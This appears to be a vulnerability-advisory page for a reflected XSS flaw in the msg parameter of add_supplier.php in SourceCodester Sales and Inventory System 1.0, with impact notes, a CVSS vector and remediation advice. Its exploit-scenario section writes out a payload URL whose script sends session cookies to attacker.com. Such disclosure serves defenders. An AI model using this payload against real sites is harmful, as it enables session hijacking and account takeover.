Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the absence of CVSS scoring data, this vulnerability carries meaningful real-world risk. Reflected XSS requires low attacker capability and no authentication (PR:N equivalent), but does require user interaction-victims must click a malicious link. The publicly available proof-of-concept lowers the barrier to exploitation. However, reflected XSS severity depends heavily on deployment context: if the Sales and Inventory System is internet-facing and used by multiple users, risk is elevated; if it is internal-only or single-user, risk is lower. The lack of CVSS vector prevents formal comparison with other vulnerabilities, but the general principle-reflected XSS in unauthenticated endpoints is commonly scored 6.1 (medium)-applies. This is a genuine security issue, not a theoretical concern, and should be prioritized proportional to the system's exposure. |
| Exploit ScenarioDerived | An attacker crafts a URL such as add_supplier.php?msg=<script>fetch('https://attacker.com/steal.php?cookie='+document.cookie)</script> and sends it via phishing email to an authenticated user of the Sales and Inventory System. When the user clicks the link while logged in, the JavaScript executes in their browser, exfiltrating session cookies to the attacker's server, enabling account takeover. The attack requires the victim to click the link but no special privileges or authentication by the attacker themselves. Publicly available proof-of-concept code exists to construct such payloads. |
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Alert meAnalysisAIv1 – Mar 30, 2026
Reflected XSS in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through the msg parameter in add_supplier.php, enabling session hijacking, credential theft, or malware distribution without authentication. The vulnerability has publicly available proof-of-concept code demonstrating the attack vector.
RemediationAI
Implement output encoding on all user-supplied parameters before rendering them in HTML context. In the add_supplier.php file, apply htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') to the msg parameter when echoing it to the page. Additionally, implement input validation to reject or sanitize unexpected characters. If possible, upgrade SourceCodester Sales and Inventory System to a patched version when available; check the vendor's repository (GitHub or official project page) for security updates. Apply a web application firewall (WAF) rule to block requests containing common XSS payloads (script tags, event handlers) as a temporary defense. Reference the proof-of-concept at https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddSupplier-msg.md to validate that remediation prevents the demonstrated attack.
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Technical ContextAI · show details
This reflected cross-site scripting vulnerability (CWE-79) occurs in a PHP-based inventory management application where user-supplied input via the msg URL parameter is returned in HTTP responses without proper HTML encoding or sanitization. The add_supplier.php endpoint fails to implement context-appropriate output encoding (such as htmlspecialchars() or similar functions in PHP), allowing attacker-controlled strings to be interpreted as executable scripts by the victim's browser. Reflected XSS differs from stored XSS in that the payload must be delivered via a malicious URL rather than persisted in a database; however, the impact on the victim remains equivalent.
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AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_supplier.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
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Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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